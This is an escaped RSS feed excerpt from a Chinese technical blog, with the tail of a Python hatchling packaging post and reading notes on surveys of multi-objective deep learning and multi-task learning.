&lt;p&gt;打包出来的 &lt;code&gt;.whl&lt;/code&gt; 和 &lt;code&gt;.tar.gz&lt;/code&gt; 存放在项目的 &lt;code&gt;dist&lt;/code&gt; 目录里：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; unzip -l ./dist/AAA-0.1.0-py3-none-any.whl
Archive:  ./dist/AAA-0.1.0-py3-none-any.whl
  Length      Date    Time    Name
---------  ---------- -----   ----
      162  2020/02/02 00:00   AAA/main.py
      128  2020/02/02 00:00   AAA-0.1.0.dist-info/METADATA
       87  2020/02/02 00:00   AAA-0.1.0.dist-info/WHEEL
      280  2020/02/02 00:00   AAA-0.1.0.dist-info/RECORD
---------                     -------
      657                     4 files
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip[&lt;code&gt;__init__.py&lt;/code&gt;]
&lt;code&gt;hatchling&lt;/code&gt; 默认支持 src layout．&lt;/p&gt;
&lt;p&gt;只需要添加空文件 &lt;code&gt;__init__.py&lt;/code&gt; 让 &lt;code&gt;hatchling&lt;/code&gt; 认为其所在的目录 &lt;code&gt;AAA&lt;/code&gt; 可打包．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[project]
name = &quot;AAA&quot;
version = &quot;0.1.0&quot;
description = &quot;AAAAAA&quot;
readme = &quot;README.md&quot;
requires-python = &quot;&amp;gt;=3.12&quot;
dependencies = [
    &quot;flask&amp;gt;=3.1.3&quot;,
]

[build-system]
requires = [&quot;hatchling&quot;]
build-backend = &quot;hatchling.build&quot;

[tool.hatch.build.targets.wheel]
packages = [&quot;src/AAA&quot;]

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Shy_Vector\AAA&amp;gt; python -m build
PS C:\Users\Shy_Vector\AAA&amp;gt; unzip -l ./dist/AAA-0.1.0-py3-none-any.whl
Archive:  ./dist/AAA-0.1.0-py3-none-any.whl
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2020/02/02 00:00   AAA/__init__.py
      162  2020/02/02 00:00   AAA/main.py
      128  2020/02/02 00:00   AAA-0.1.0.dist-info/METADATA
       87  2020/02/02 00:00   AAA-0.1.0.dist-info/WHEEL
      354  2020/02/02 00:00   AAA-0.1.0.dist-info/RECORD
---------                     -------
      731                     5 files
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;可以 &lt;code&gt;pip install&lt;/code&gt; 或者 &lt;code&gt;uv add&lt;/code&gt; 将 &lt;code&gt;.whl&lt;/code&gt; 文件解压至 &lt;code&gt;.venv\\Lib\\site-packages&lt;/code&gt;，实现软件包的安装．&lt;/p&gt;
</content:encoded></item><item><title>Multi-objective Deep Learning: Taxonomy and Survey of the State of the Art</title><link>https://fuwari.vercel.app/posts/algo/moo-survey/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/algo/moo-survey/</guid><description>一篇多目标深度学习综述的阅读笔记</description><pubDate>Sat, 21 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;多目标深度学习：技术分类和调查&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2412.01566&quot;&gt;Multi-objective Deep Learning: Taxonomy and Survey of the State of the Art&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;摘要&lt;/h2&gt;
&lt;p&gt;多目标优化的应用：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;多任务学习 (Multi-Task Learning)&lt;/li&gt;
&lt;li&gt;考虑稀疏性 (sparsity) 等次要目标&lt;/li&gt;
&lt;li&gt;多准则超参数调优 (multicriteria hyperparameter tuning)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;成本挑战：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;参数数量庞大&lt;/li&gt;
&lt;li&gt;非线性程度高&lt;/li&gt;
&lt;li&gt;有一定随机性&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;总结内容：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;三种学习范式：监督、无监督、强化&lt;/li&gt;
&lt;li&gt;生成模型&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Ⅰ 引入&lt;/h2&gt;
&lt;p&gt;Pareto 最优：无法再在同一时刻改进所有目标&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ML 中的多准则：用单一模型解决多任务&lt;/li&gt;
&lt;li&gt;次要目标：稀疏性、稳定性、可解释性&lt;/li&gt;
&lt;li&gt;RL 也有多目标优化的需求&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;多目标优化和深度学习的计算开销都很大，两者的结合在算法效率和决策都存在挑战&lt;/p&gt;
&lt;p&gt;Section Ⅱ 预备知识 A 深度学习 (1 监督，2 无监督，3 生成模型)，B 多目标优化 C 多目标机器学习的细节&lt;br /&gt;
Section Ⅲ 提供了途径的分类&lt;br /&gt;
Section Ⅳ 调查当前技术状况：A 监督，B 无监督，C 生成模型，D 神经网络架构，E 多目标深度学习的成功应用&lt;br /&gt;
Section Ⅴ 强化学习&lt;br /&gt;
Section Ⅵ 用深度学习反过来改进多目标优化&lt;/p&gt;
&lt;h2&gt;Ⅱ 预备知识&lt;/h2&gt;
&lt;h3&gt;A 深度学习&lt;/h3&gt;
&lt;p&gt;主要介绍各种机器学习算法的共性．&lt;/p&gt;
&lt;h4&gt;1 监督学习&lt;/h4&gt;
&lt;p&gt;用含参映射 $f_\theta$ 拟合未知映射
$$
\begin{aligned}
f: \mathbb R^n &amp;amp;\rightarrow \mathbb R^m \
x &amp;amp;\mapsto y
\end{aligned}
$$
其中 $\theta \in \mathbb R^q$，通常维度很高．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$f_\theta$ 的构造可以选择使用多项式、Fourier 序列、Gaussian 过程．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;而在深度神经网络中，$f_\theta$ 通过 $\ell$ 层构造
$$
\begin{aligned}
z^{(0)} &amp;amp;= x, \
z^{(j)} &amp;amp;= \sigma^{(j)}(W^{(j)}z^{(j-1)} + b^{(j)}), \quad j = 1, \cdots \ell, \
y &amp;amp;= z^{(\ell)}
\end{aligned}
$$
网络的边权都是参数 $\theta = {(W^{(j)}, b^{(j)})}_{j=1}^{\ell}$．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;上面是经典的 feed-forward 结构，除此之外还有：卷积 (convolutional) 神经网络 CNN，残差 (residual) 神经网络 ResNet，带反馈回路的循环 (recurrent) 神经网络 RNN．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现有含 $N$ 个样本的数据集 $\mathcal D = {(x_i, y_i)}&lt;em&gt;{i=1}^N$，拟合映射 $f$ 的问题就变成了高维的非线性优化问题：最小化经验损失函数 $L(\theta)$
$$
\theta^* = \arg\min&lt;/em&gt;{\theta \in \mathbb R^q} L(\theta)
$$
$L(\theta)$ 的形式自定，如均方差损失 (MSE)
$$
L(\theta) = \dfrac{1}{N}\sum_{i=1}^{N}  \Vert y_i - f_\theta(x_i)  \Vert_2^2
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;可以为了稀疏性添加正则项&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;获取 $\theta^*$ 的经典方法是基于梯度优化的反向传播，因此梯度 $\nabla L(\theta)$ 在训练中扮演重要角色．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;随机梯度 (SGD) 、动量 (Momentum) 、Adam 优化器&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;2 无监督学习、自监督学习&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;无监督学习&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从无标签数据中提取有意义的表示．&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;无监督学习直接识别数据的潜在结构&lt;/li&gt;
&lt;li&gt;自监督学习先利用数据生成伪标签，得到代理任务 (surrogate/pretext task) 后转化为监督学习&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;无监督学习通常包括聚类、降维、密度估计．&lt;/p&gt;
&lt;p&gt;:::note[聚类]
将数据集 $\mathcal D = {(x_i)}&lt;em&gt;{i=1}^{N}$ 分成 $N_C$ 类．常见的优化目标是最小化簇内方差和最大化簇间间隔
$$
\min&lt;/em&gt;{C_1, \cdots, C_K} \sum_{k=1}^{N_C}\sum_{x_i \in C_k}  \Vert x_i - \mu_k  \Vert^2
$$
其中 $\mu_k = \frac{1}{|C_k|} \sum_{x_i \in C_k} x_i$ 为簇心．解决这个优化目标的传统技术有 K-means 和 Gaussian 混合模型，而在数据维度非常高 (如图像) 的情况下，现代的神经聚类则是先将原始数据编码到低维隐空间后再传统聚类．
:::&lt;/p&gt;
&lt;p&gt;:::note[降维]
在保持尽可能多信息的情况下，为高维数据找到低维表示．自编码器 (AutoEncoders，AE) 利用神经网络构建了两个映射，$f_\theta$ 将输入空间编码至隐空间，$g_\phi$ 将隐空间解码至输出空间
$$
\begin{aligned}
f_\theta: \mathbb R^n &amp;amp;\rightarrow \mathbb R^m \
x &amp;amp;\mapsto z \
g_\phi: \mathbb R^m &amp;amp;\rightarrow \mathbb R^n \
z &amp;amp;\mapsto \tilde{x}
\end{aligned}
$$
最小化重构损失
$$
\min_{\theta, \phi} \sum_{i=1}^{N}  \Vert x_i - g_\phi(f_\theta(x_i))  \Vert_2^2
$$
便得到内在的 $\mathbb R^m$ 低维结构，它编码了数据集的信息．
:::&lt;/p&gt;
&lt;p&gt;:::note[密度估计]
把输出视作概率分布，根据输入，估计每个数据点的概率密度，得到输出．常见方法有核密度估计 (Kernel Density Estimation，KDE，用若干基本核函数 (如高斯核函数) 来拟合目标分布函数) 、变分自编码器 (VAE，从隐空间得到是分布 (通常是多元 Gaussian 分布，含一系列均值和方差) 而不是单个向量，采样出向量后再解码) ．因为是用分布描述输出，常用于异常检测、数据生成．
:::&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自监督学习&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;自监督预训练阶段
$$
\theta^* = \arg\min_{\theta} \mathbb E_{x \sim \mathcal D_{\text{unlabeled}}}[\mathcal L_{\text{pretext}}(f_\theta(g(x)), \tau(x))]
$$
迁移至下游任务
$$
\phi^* = \arg\min_{\phi}\mathbb E_{(x, y) \sim \mathcal D_{\text{labeled}}}[\mathcal L_{\text{down}}(h_\phi(f_{\theta^*}(x)), y)]
$$
用于视频帧预测、确定图像旋转角、重建数据掩码部分&lt;/p&gt;
&lt;p&gt;:::note[对比学习]
$g$ 用于数据增强，伪标签生成函数 $\tau$ 并不是显式的（如旋转、掩码）：同一张图的两个增强视图为正样本，不同图为负样本
$$
\min_{\theta} \mathbb E_{x \sim \mathcal D} \mathbb E_{x^+ \sim \text{aug}(x) \atop {x_i^-}&lt;em&gt;{i=1}^{N} \sim \mathcal D } \left[ -\log \frac{\exp(\text{sim}(f&lt;/em&gt;\theta(x^+), f_\theta(x)) / \tau)}{\exp(\text{sim}(f_\theta(x^+), f_\theta(x)) / \tau) + \sum_{i=1}^{N} \exp(\text{sim}(f_\theta(x_i^-), f_\theta(x)) / \tau)} \right]
$$
其中 $\text{aug}(x)$ 表示增强样本，$\text{sim}$ 为余弦相似．
:::&lt;/p&gt;
&lt;p&gt;:::note[生成式模型]
$g$ 是破坏函数 (掩码、噪声、下采样) ，$f_\theta$ 是重建函数，$\mathcal L$ 是重建损失．
$$
\min_\theta \mathbb E_{x \sim \mathcal D}[\mathcal L(f_\theta(g(x)), x)]
$$
比如掩码自编码 (MAE)
$$
\mathcal L_\text{MAE} = \mathbb E_{x \sim \mathcal D} [ \Vert x_{\text{masked}} - g_\theta(f_\phi(x_{\text{visible}}))  \Vert_2^2]
$$
其中 $x_\text{visible} = x \odot M$，$x_{\text{masked}} = x \odot (1 - M)$，$M \in {0, 1}^{d}$．MAE 认为：还原 = 理解．
:::&lt;/p&gt;
&lt;h4&gt;3 生成式模型&lt;/h4&gt;
&lt;p&gt;使用训练样本 $x \sim \mathcal X$ 学习未知分布 $\mathcal X$，这和自监督学习框架高度相关．为此构造映射 $g: \mathbb R^p \rightarrow \mathbb R^n$，使得 $g(z) \sim \mathcal X$，其中 $z \sim \mathcal Z$ 来自更简单的分布 $\mathcal Z$．&lt;/p&gt;
&lt;p&gt;:::note[生成式对抗网络 (GAN)]&lt;/p&gt;
&lt;p&gt;生成器 $g_\theta : \mathbb R^p \rightarrow \mathbb R^n$，判别器 $f_\phi : \mathbb R^n \rightarrow [0,1]$ 是二分类器．&lt;/p&gt;
&lt;p&gt;判别器希望将 $x \sim \mathcal X$ 识别为正类
$$
\begin{aligned}
\mathcal L_D &amp;amp;= -\mathbb E_{x \sim \mathcal X} [1 \cdot \log f_\phi(x) + 0 \cdot \log (1 - f_\phi(x))] \
&amp;amp;= -\mathbb E_{x \sim \mathcal X} [\log f_\phi(x)]
\end{aligned}
$$
生成器希望让 $g_\theta(z)$ 被识别为正类
$$
\begin{aligned}
\mathcal L_G &amp;amp;= -\mathbb E_{x \sim \mathcal X} [1 \cdot \log f_\phi(g_\theta(x)) + 0 \cdot \log (1 - f_\phi(g_\theta(x)))] \
&amp;amp;= -\mathbb E_{x \sim \mathcal X} [\log f_\phi(g_\theta(x))]
\end{aligned}
$$
二者博弈
$$
\begin{aligned}
(\theta^&lt;em&gt;, \phi^&lt;/em&gt;) &amp;amp;= \arg\min_{\theta, \phi} (\mathcal L_D + \mathcal L_G) \
&amp;amp;= \arg\min_{\theta, \phi} (-\mathbb E_{x \sim \mathcal X} [\log f_\phi(x)] -\mathbb E_{x \sim \mathcal X} [\log f_\phi(g_\theta(x))]) \
&amp;amp;= \arg\min_{\theta}\max_{\phi}(\mathbb E_{x \sim \mathcal X} [\log f_\phi(x)] + \mathbb E_{x \sim \mathcal X} [\log (1 - f_\phi(g_\theta(x)))]) \
&amp;amp;= \arg\min_{\theta}\max_{\phi} \mathcal L_{\text{GAN}}
\end{aligned}
$$
:::&lt;/p&gt;
&lt;h3&gt;B 多目标优化&lt;/h3&gt;
&lt;h4&gt;1 概念&lt;/h4&gt;
&lt;p&gt;考虑含 $K$ 个目标的 MOP 问题
$$
\min_{\theta \in \mathbb R^q} L(\theta) = \min_{\theta \in \mathbb R^q} \begin{bmatrix} L_1(\theta) \cdots L_K(\theta) \end{bmatrix}^\top
$$
一般不存在点 $\theta^*$ 使得所有目标 $L_k$ 都达最小值，故考虑 Pareto 集
$$
\mathcal{P} =
\left{
\theta \in \mathbb{R}^q
~\middle|~
\nexists,\hat{\theta}, ~~
\begin{array}{}
L_k(\hat{\theta}) \leq L_k(\theta) &amp;amp; \text{for~} k = 1,\cdots,K, \
L_k(\hat{\theta}) &amp;lt; L_k(\theta) &amp;amp; \text{for at least one~}k
\end{array} ~
\right}
$$
相应地，$\mathcal P$ 在目标空间 $\mathbb R^K$ 的像 $\mathcal P_\mathcal F = L(\mathcal P)$ 被称作 Pareto 前沿 (一种流形，而非离散点集)．在光滑假设下，$\dim \mathcal P_\mathcal F = K - 1$，比如双目标问题下，Pareto 前沿是曲线 (递减，可不凸) ．在深度学习中，$q$ 非常大，而 $K$ 通常比较小，因此一般对 Pareto 前沿进行可视化，而不是 Pareto 集．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;特别地，如果存在不冲突的目标，则 Pareto 前沿的维数会减小．比如双目标问题中，两个目标不冲突，可同时达到最小值，此时 Pareto 前沿会从一条曲线坍缩成一个点．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;点 $\hat\theta$ 对于所有目标至少都和点 $\theta$ 一样好，且对于至少一个目标严格比点 $\theta$ 更优，则称点 $\hat\theta$ 支配点 $\theta$，记作 $\hat\theta \prec \theta$．因此 $\mathcal P$ 包含了所有的非支配点．&lt;/p&gt;
&lt;h4&gt;2 梯度以及最优性条件&lt;/h4&gt;
&lt;p&gt;称满足 KKT 条件 (一阶最优条件) 的点 $\theta^&lt;em&gt;$ 为 Pareto 临界点
$$
\exists, \alpha^&lt;/em&gt; \in \mathbb R_{\ge 0}^q, : \sum_{k=1}^K \alpha_k^* = 1, : \sum_{k=1}^K \alpha_k^* \nabla L_k(\theta^*) = 0
$$
记 Pareto 临界点集为 $\mathcal P_c$，则必有 $\mathcal P \subseteq \mathcal P_c$．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;否则，必存在所有梯度的凸组合，使得往该组合行进时，所有目标变优．可想象从原点出发的三个梯度向量构成三棱锥，沿着终点落在底面的向量行进，可使三个目标均变优．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当目标函数 (比如 ReLU、L1 正则化) 不光滑 (不满足 Lipschitz 梯度连续性) ，仅满足 Lipschitz 连续性时，我们无法定义梯度 $\nabla L_k$ ．如果目标函数是凸函数，我们可以定义次梯度 (subdifferential)
$$
\partial L_k = {g \in \mathbb R^q : \forall, y \in \mathbb R^q, f(y) \ge f(x) + g^\top (x - y)}
$$
其存在性由支撑超平面定理保证．此时我们有 KKT 条件的非平滑版本
$$
0 \in \text{conv} \bigcup_{k=1}^K \partial L_k(\theta^*)
$$&lt;/p&gt;
&lt;p&gt;:::tip[一些次微分的例子]
$$
\partial, \text{ReLU}(x) = \begin{cases} {0}, &amp;amp; x &amp;lt; 0, \ [0, 1], &amp;amp; x = 0, \ {1}, &amp;amp; x &amp;gt; 0. \end{cases}
$$
:::&lt;/p&gt;
&lt;p&gt;:::important[Lipschitz 连续性]
$$
\exists, L \in \mathbb R, \forall x, y \in \mathbb R^q,  \Vert f(x) - f(y)  \Vert_2 \le L  \Vert x - y  \Vert_2
$$
最小的 $L$ 就是 Lipschitz 常数 $k_0 = \sup_{x \ne y}  \Vert f(x) - f(y)  \Vert_2 /  \Vert x - y  \Vert_2$．&lt;/p&gt;
&lt;p&gt;设 $y = x + \xi$，使用一阶 Taylor 展开
$$
f(x + \xi) \approx f(x) + \nabla f(x)^\top \xi
$$
便有
$$
\begin{aligned}  \Vert \nabla f(x)^\top \xi  \Vert_2 &amp;amp;\le  \Vert \nabla f(x)  \Vert_2 \cdot  \Vert \xi  \Vert_2 \  \Vert \nabla f(x)^\top \xi  \Vert_2 &amp;amp;\le k_0  \Vert \xi  \Vert_2 \end{aligned}
$$
第二条不等式恒成立，且第一个等号可以成立，因此
$$
\Vert \nabla f(x)  \Vert_2 \le k_0
$$
得 $k_0 = \max  \Vert \nabla f(x)  \Vert_2$，此时 $f(y)$ 可以被 bound 住
$$
f(x) - k_0 \xi \le f(y) \le f(x) + k_0 \xi
$$
光滑（Lipschitz 梯度连续）
$$
\exists, L \in \mathbb R, \forall x, y \in \mathbb R^q,  \Vert \nabla f(x) - \nabla f(y)  \Vert_2 \le L  \Vert x - y  \Vert_2
$$
最小的 $L$ 便是凸优化里面的 smoothness $k_1$．
:::&lt;/p&gt;
&lt;h4&gt;3 方法&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;a 计算单个 Pareto 最优解 (先决策后优化)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;标量化&lt;/strong&gt;：构造映射 $L(\theta) \mapsto \hat L(\theta) \in \mathbb R$，变成单目标优化．如果是直接加权，就相当于用移动的超平面去截 Pareto 前沿，这只有在凸函数的情况下才能保证解的唯一性．&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;$\epsilon$-constraint 方法&lt;/strong&gt;：钦定某个目标 $L_k$ 作单目标优化，其他目标变成约束
$$
\min_{\theta \in \mathbb R^q} L_k(\theta) \quad \text{s.t.} \quad \forall, i \in {1, \cdots, K} \setminus k, : L_i(\theta) \le \epsilon_i
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;偏好向量法&lt;/strong&gt;：给定参考点和偏好向量 $p, r \in \mathbb R^q$，从参考点出发，在目标空间中沿着偏好向量方向，向原点行进，找到路程最长的终点
$$
\max_{t \in \mathbb R, \theta \in \mathbb R^q } t \quad \text{s.t.} \quad p + tr - f(\theta) \in \mathbb R_+^K
$$
这种方法能很好应对非凸问题，但约束条件较难处理．&lt;/p&gt;
&lt;p&gt;:::note[多梯度下降法 (MGDAs)]
关键是共同梯度 $d(\theta) \in \mathbb R^q$ 的选取
$$
d(\theta) = - \sum_{k=1}^K w_k \nabla L_k(\theta)
\quad \text{where} \quad w = \arg\min_{\hat w \in [0, 1]^K \atop \sum_{k=1}^K \hat w_k = 1} \left \Vert \sum_{k=1}^K \hat w_k \nabla L_k(\theta) \right\Vert_2^2
$$
不断更新 $\theta$ 至收敛 (或者触发给定的停止条件)
$$
\theta^{(i+1)} = \theta^{(i)} + \eta(\theta^{(i)}) \cdot d(\theta^{(i)})
$$
也可以使用 (Quasi-)Newton 法确定 $d(\theta)$．传统的 MGDAs 只能保证结果收敛到 $\mathcal P_c$ 中的某个点，无法得知这个点每个目标的重要程度，因此对于运行多次 MGDAs 得到的多个点，我们无法作出最终决定．
:::&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;b 计算整个 Pareto 集 (先优化后决策)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;多次调整权重后分别运行标量法，或者运行多起点的 MGDAs (彼此孤立)，都无法很好地覆盖 $\mathcal P$ (用离散点集近似 $\mathcal P$)．&lt;/p&gt;
&lt;p&gt;定义种群 $P = {\theta^{(j)}}&lt;em&gt;{j=1}^M$，其 performance 一般使用超体积指标衡量
$$
\text{HV}(P) = \lambda \left( \bigcup&lt;/em&gt;{\theta \in P} [L(\theta), r] \right)
$$
其中 $\lambda (\cdot)$ 为 Lebesgue 测度，$r \in \mathbb R^q$ 为参考点 (通常选取目标空间的最大值点) ．&lt;/p&gt;
&lt;p&gt;:::note[多目标进化算法 (MOEAs)]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;交叉 (crossover)：第 $i$ 代 $P(i)$ 中两个体 $\theta_{1,2}$ 交叉，得到新种群 $\widehat P(i)$；&lt;/li&gt;
&lt;li&gt;变异 (mutation)：$\widetilde P(i) = \mathcal M(\widehat P(i))$；&lt;/li&gt;
&lt;li&gt;选择 (selection)：适者生存 (按非支配关系 (non-dominance)、分散指标 (spread metric) 排序)，$P(i+1)$ 可来自 $P(i) \cup \widetilde P(i)$ (精英主义)．
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;多任务学习是机器学习一个重要板块，哪怕在最基础的分类任务中，保持模型准确率和模型复杂度的平衡也是社区讨论的重点．之前的多任务学习文章 (Uncertainty; GradNorm; MGDA) 主要关注的是如何在有多个任务时找到&lt;strong&gt;一个&lt;/strong&gt;能够权衡利弊的解，但由于 Pareto 的存在，一个独立解是难以满足&lt;strong&gt;多种&lt;/strong&gt;偏好的．&lt;/p&gt;
&lt;p&gt;最近的多任务学习文章 (Pareto MTL) 开始意识到多个 Pareto 解的重要性，但由于没有利用 Pareto 前沿的性质，该方法生成的每一个解都是从头训练的，并且无法形成连续的 Pareto 前沿．&lt;/p&gt;
&lt;p&gt;:::important[延拓法]
我们试图解决的，就是利用 &lt;strong&gt;Pareto 前沿的连续性质&lt;/strong&gt;，连续地&lt;strong&gt;从一个 Pareto 解出发&lt;/strong&gt;找到其他的解．&lt;/p&gt;
&lt;p&gt;考虑将 KKT 条件转化为零值问题
$$
H(\theta^&lt;em&gt;, \alpha^&lt;/em&gt;) =
\begin{pmatrix}
\sum_{k=1}^K \alpha_k^* \nabla L_k(\theta^&lt;em&gt;) \
\sum_{k=1}^K \alpha_k^&lt;/em&gt; - 1
\end{pmatrix}
= 0
$$
如果有二阶连续可微的 $C^2$ 正则假设，那么隐函数定理保证
$$
\mathcal M = {(\theta, \alpha) \in \mathbb R^{q+K} : H(\theta, \alpha) = 0}
$$
是 $\dim(\mathcal M) = (q + K) - (q + 1) = K - 1$ 维的光滑流形．我们先用某种手段得到一个 Pareto 临界点 $(\theta_0, \alpha_0)$，然后求解此处的切空间，这需要 Hessian 矩阵
$$
\mathbf H = H&apos;(\theta^&lt;em&gt;, \alpha^&lt;/em&gt;) =
\begin{pmatrix}
\sum_{k=1}^K \alpha_k^* \nabla^2 L_k(\theta^&lt;em&gt;) &amp;amp; L_1(\theta^&lt;/em&gt;) &amp;amp; \cdots &amp;amp; L_K(\theta^*) \
0 \quad \cdots \quad 0 &amp;amp; 1 &amp;amp; \cdots &amp;amp; 1
\end{pmatrix}
\in \mathbb R^{(q+1) \times (q+K)}
$$
切空间就是 $\mathbf H$ 的核
$$
\text{ker}, \mathbf H = {v \in \mathbb R^{q+K} : \mathbf Hv = 0}
$$
求出 $v$ 后，便可得到临界点的附近 (&lt;strong&gt;延拓&lt;/strong&gt;的点集)
$$
(\theta, \alpha) = (\theta_0, \alpha_0) + tv, \quad t \in (-\epsilon, \epsilon)
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;存储代价 $O(q^2)$ 无法接受，通常不直接求解 $J$，而使用 Hessian 向量积 $\nabla \nabla^\top L_k(\theta^&lt;em&gt;) v = \nabla (v^\top \nabla L_k(\theta^&lt;/em&gt;))$．&lt;/li&gt;
&lt;li&gt;另外，$C^2$ 正则性都被许多网络结构破坏掉了 (ReLU)，虽然有文献给出了仅满足 Lipschitz 连续性的目标的解决办法，但这会提高计算开销．&lt;/li&gt;
&lt;li&gt;延拓点一般会稍微脱离 Pareto 前沿，于是我们会有修正步骤，比如从延拓点出发，使用 MGDA 得到正确的临界点．
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;c 交互式方法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;决策者不是一次性给出所有偏好，而是在优化过程中根据当前解的情况，动态调整偏好，决策和优化不断交替．&lt;/p&gt;
&lt;p&gt;比如我们观察当前 $\theta^{(t)}$ 和 $L(\theta^{(t)})$ 的情况，可能会希望改善 $L_1$，接受 $L_3$​ 变差，但 $L_2$​ 不能恶化．这反映在延拓法里，就是在切空间 $\ker \mathbf H$ 中选择方向导数满足
$$
\frac{\partial L_1}{\partial v} &amp;gt; 0, \quad \frac{\partial L_2}{\partial v} \ge 0, \quad \frac{\partial L_3}{\partial v} &amp;lt; 0
$$
的 $v$ 进行延拓．&lt;/p&gt;
&lt;h3&gt;C 多目标机器学习&lt;/h3&gt;
&lt;p&gt;将多目标优化和机器学习结合不是新鲜事．尽管从数据中学习模型时会遇到多种性能指标，我们一般不将多目标优化应用在深度学习中，因为两者计算开销都非常大．针对深度学习，各种多目标优化算法的&lt;strong&gt;痛点&lt;/strong&gt;如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;标量化虽然转化为单目标，但会新增约束条件而较难处理；&lt;/li&gt;
&lt;li&gt;MGDA 收敛速度与单目标相当，但每轮迭代都需要计算步进方向；&lt;/li&gt;
&lt;li&gt;MOEAs 实现了全局优化，而且不用计算梯度，但庞大的种群个体数会带来个体评估的开销，收敛速度也缓慢；&lt;/li&gt;
&lt;li&gt;延拓法收敛速度很快，但 Hessian 矩阵的计算开销很大，并且通常没有 $C^2$ 正则性．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;深度学习能跟多目标优化的&lt;strong&gt;结合点&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;特征选择&lt;/li&gt;
&lt;li&gt;超参数调优&lt;/li&gt;
&lt;li&gt;结构搜索&lt;/li&gt;
&lt;li&gt;数据插补 (data imputation)&lt;/li&gt;
&lt;li&gt;多目标训练：支持向量机 (SVM)、决策树、Bayesian 分类器、径向基 (Radial Basis Function，RBF) 神经网络、聚类&lt;/li&gt;
&lt;li&gt;多目标聚类&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Ⅲ 多目标深度学习的分类&lt;/h2&gt;
</content:encoded></item><item><title>A Survey on Multi-Task Learning</title><link>https://fuwari.vercel.app/posts/algo/mtl-survey/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/algo/mtl-survey/</guid><description>一篇多任务学习综述的阅读笔记</description><pubDate>Sat, 21 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;多任务学习&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://ieeexplore.ieee.org/document/9392366/&quot;&gt;A Survey on Multi-Task Learning&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;多任务学习 (MTL)：充分利用多个相关任务的有用信息，增强所有任务的泛化性能．&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;本文从算法建模、应用、理论分析三个角度分析 MTL；&lt;/li&gt;
&lt;li&gt;MTL 的定义、五个类别及其特点 (特征学习途径、低秩途径、任务聚类途径、任务关系学习途径、分解途径)；&lt;/li&gt;
&lt;li&gt;与其他学习范式的结合 (半监督学习、主动学习、无监督学习、强化学习、多视图学习、图模型)；&lt;/li&gt;
&lt;li&gt;任务数、数据维数很高时，在线、并行、分布式的 MTL 模型，以及降维、特征哈希，都有计算和存储的优势；&lt;/li&gt;
&lt;li&gt;现实世界的应用；&lt;/li&gt;
&lt;li&gt;MTL 的理论分析、未来方向．&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;人类可以同时学习多个任务，并且某个任务的学习会对其他任务的学习有帮助 (学网球和壁球)．MTL 也将从某个任务学习到的知识运用到其他任务的学习，增强所有任务的泛化性能．&lt;/p&gt;
&lt;p&gt;起初 MTL 的动机是减轻数据的稀缺问题：多个任务有着各自比较少的标记数据．为了增强数据，最初的 MTL 把所有标记数据聚集起来，都运用到所有任务的学习．大数据时代来临后，相比单任务模型，MTL 在 CV、NLP 领域有着更好的性能．&lt;/p&gt;
